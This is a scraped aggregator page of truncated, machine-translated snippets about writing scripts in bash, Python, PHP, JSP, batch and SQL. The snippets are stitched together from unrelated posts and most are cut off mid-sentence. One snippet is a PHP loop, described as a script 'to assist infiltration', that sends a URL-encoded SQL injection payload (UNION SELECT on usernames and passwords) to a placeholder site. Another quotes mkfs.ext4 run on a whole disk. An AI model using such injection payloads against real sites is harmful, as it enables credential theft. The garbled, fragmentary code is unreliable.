how to write bash script

Recently in learning Python,python can be said to write some small script of the sharp weapon syntax simple, as the most famous in the "glue language" to write some command script is very convenient. Today I want to use Python to execute the ADB's command to install the application. Save the side of the command to pla

For project development on Linux, a common method for Java project deployment is to write a shell script. However, when the server restarts, you often forget to start the shell script.Therefore, we need to turn our applications into Linux services and start our own applications when the server starts. Jsvc can be used to implement the above functions.For details about jsvc, see: http://commons.apache.org/da

Please write a script for TX. Thank you !! -- Linux general technology-Linux programming and kernel information. The following is a detailed description. Ask TX to write a script. The goal is to generate a file similar to "myserverlog_2009_06_04.log" in a directory every day. Compile a log rotation

The role of the scripting engine is to enhance the configurable nature of the program. Scripts are needed from games to management systems, and even industrial-grade office, 3DS Max, and AutoCAD add their own scripting languages. The advent of DHTML allows us to embed scripting languages in web code, and the advent of technologies such as PHP and ASP allows us to change the interface of an application to a Web page, and the logic is written in scripting languages. With a wide variety of scriptin

Because of an injection to crawl some data, and then write a small script, can write scripts to assist infiltration, is also considered a milestone. Ha ha hahaPHP$num= 1; while($num) {$web _url= "http://www.xxx.com/shownews.asp?id=626%0AUNION%0ASELECT%0Atop%0A1%0A1,user_username,3,user_password,5,6%0 AFROM%0A (select%0atop%0a1%0auser_username,user_phone%0afrom%0a

classification results of listed companies by the China Securities Regulatory Commission in the fourth quarter of 2014. The stock code of a listed company is sent to the stock homepage _ Sina finance The search box, and then from the page of the selected company (such as kangdal (000048) stock price, quotations, news, financial report data Click "company annual report" to download the annual report data for the last five years. The selected enterprise is the result of the industry classificatio

WriteProgramWhen the configuration file is used, you can select Lua if Lua is more suitable.At the beginning, all configurations are loaded from the file, and it is OK to directly call a function. Later, the program will run normally if the configuration file does not exist, so the program needs to be configured by default.But I don't want to change the original structure. I want to hard encode the default configuration script in the program in the fo

The test system is: Centos 6.7The Python version is: 3.6.4Scripting Features: View information about read and write and time of specified disk#!/usr/bin/env python3from Collections Import Namedtupledisk = Namedtuple (' Disk ', ' Major_number minor_number device_ Name Read_count read_merged_count read_sections time_spent_reading write_count write_merged_count write_sections time_ Spent_write io_requests time_spent_doing_io weighted_time_spent_doing_do

Tags: class NIS software Data Base Path property DMI PrimNo, write not write all can, but to write a comma, give a code example to see it 1 Create DatabaseHelloWorld2 3 --set properties for MDF files 4 on Primary 5 ( 6Name= 'Ahelloworldlogic',--the logical name of the MDF file (not the file name) 7FileName= 'C:\Users\Administrator\Desktop\aHelloWorld.mdf',--th

Please write PHP native code in {dede:sql} tag script! {dede:sql sql= ' ... ' runphp= ' yes '} echo ' Fuck '; {/dede:sql} How can I write php native code inside {dede:sql} tag script? ------Solution-------------------- Here are the PHP applications in Dede, which I hope will help you Call tag: {dede:field name= ' k

JSP: Write a 9-9 multiplication table (expression method and script method)String path = request. getContextPath ();String basePath = request. getScheme () +: // + request. getServerName () +: + request. getServerPort () + path + /;%>String printMultiTable1 (){String s =;For (int I = 1; I {For (int j = 1; j {S + = I + * + j + = + (I * j) + nbsp ;;}// Line feedS + =;}Return s; } Void printprintMultiTable2

A few days ago, friends want to add a few groups on the phone, but one of the manual operation is too uncomfortable, and then use the key wizard to help him write a code to automatically add the group. Share to everyone.Keepscreen Truedelay2000Dim scrwidth, scrheight,a,x,y,i,intx,intyscrwidth =Getscreenx () Scrheight =Getscreeny ()‘ShowMessage scrwidth "--" scrheightTraceprint Scrwidthtraceprint scrheightif scrwidth540 and Scrheight960Then ShowMessage

In simple terms, you can use JavaScript, but the method I suggest is different from that on the upstairs. I suggest directly calling the "server"Client script function corresponding to the client event. For pages automatically output by Asp.net, there will beFunction _ dopostback (eventtarget, eventargument), you should use this function directlyPostBack (for example, _ dopostback ('button1', ''). Then the server can directly identify this PostBack as

Similar to log cutting, the system has a logrotate program to complete the archive. But now we're going to write ourselves a shell script to implement the archive. Example: If the output of the service log is 1.log, I asked to file a daily, 1.log the next day to become 1.log.1, the third day 1.log.2, the fourth day 1.log.3 until 1.log.5.Here is a reference script

Project structureProject Name--|--classes|--lib|--startup.bat@echo off:: Several parameters that need to be modifiedSet Arg0=xxxSet Arg1=xxxSet Arg2=xxxSet Dir=xxx:: Modify DOS code to UTF-8Chcp 65001Set java_home=c:\java\jdk1.7.0_67\Set classpath=.;For%%c in (Lib\*.jar) do set classpath=!classpath!; %%cSet classpath=%classpath%;. /classes;%java_home%\jre\lib\rt.jar;%java_home%\lib\dt.jar;%java_home% \lib\tools.jarSet _java_options= "-dfile.encoding=utf-8"Java%_java_options%-djava.ext.dirs=%dir%

Main Accounting Two graduation design thesis DDL imminent, do is to analyze the food enterprise accounting information and stock price of empirical issues, currently need to collect 100 food companies from Sina Finance nearly five years of financial results, if manually collected by the SFC 2014 4 quarterly listed companies industry classification result Listed company stock code to the stock home _ Sina Finance Search box, and then from the selected company's webpage (e.g. Condal (000048) stock

In the past, Javascript was written manually. Although there was no major problem, it was prone to errors. I have introduced a Microsoft internal Javascript Writing Tool, Script #. I just used it to introduce it. For details, I can view the help PDF file. Download and install the SDK first. Take VS2005 as an example. After installation, you can create a new website. Note that only the C # website is supported, and VB is not supported. 　　 Generate a b

#!/bin/sh#author:reed#blog:luweikai.blog.51cto.com# Description: Use the OWN DD command file=dd.filebs_count_8k= (8K12K) BS_COUNT_ 64k= (64k6k) bs_count_1m= (1m1k) list= "8k64k1m" wlog=/tmp/ddwrite.logrlog=/tmp/ddread.log# Writewrite () {echo "[Info]write" foriin $list;d o bs=$ (evalecho\$\{bs_count_$i\[0\]\}) count=$ (evalecho\$\{ Bs_count_$i\[1\]\}) echo "ddif=/dev/zeroof= $file conv=fsyncoflag=directbs= $bs count=$ Count "dd if=/dev/zero of= $fi

How can I write this simple script? I really want to learn-Linux general technology-Linux programming and kernel information. The following is a detailed description. Hello everyone, I am a linux enthusiast who is new to shell scripts. If you have a problem, please help me reply. Thank you !!!! [Root @ rhel6 ~] # Mkfs. ext4/dev/sda Mke2fs 1.41.12 (17-May-2010) /Dev/sda is entire device, not just o

Write a shell script to solve my Nic problem-Linux general technology-Linux programming and kernel information. The following is a detailed description. Author: fcyl The last time I mentioned that my Ubuntu8.04 Nic has a problem. Every time I restart the NIC driver, the driver is still restored to r8169, which means that I still need to execute several commands each time before accessing the Internet.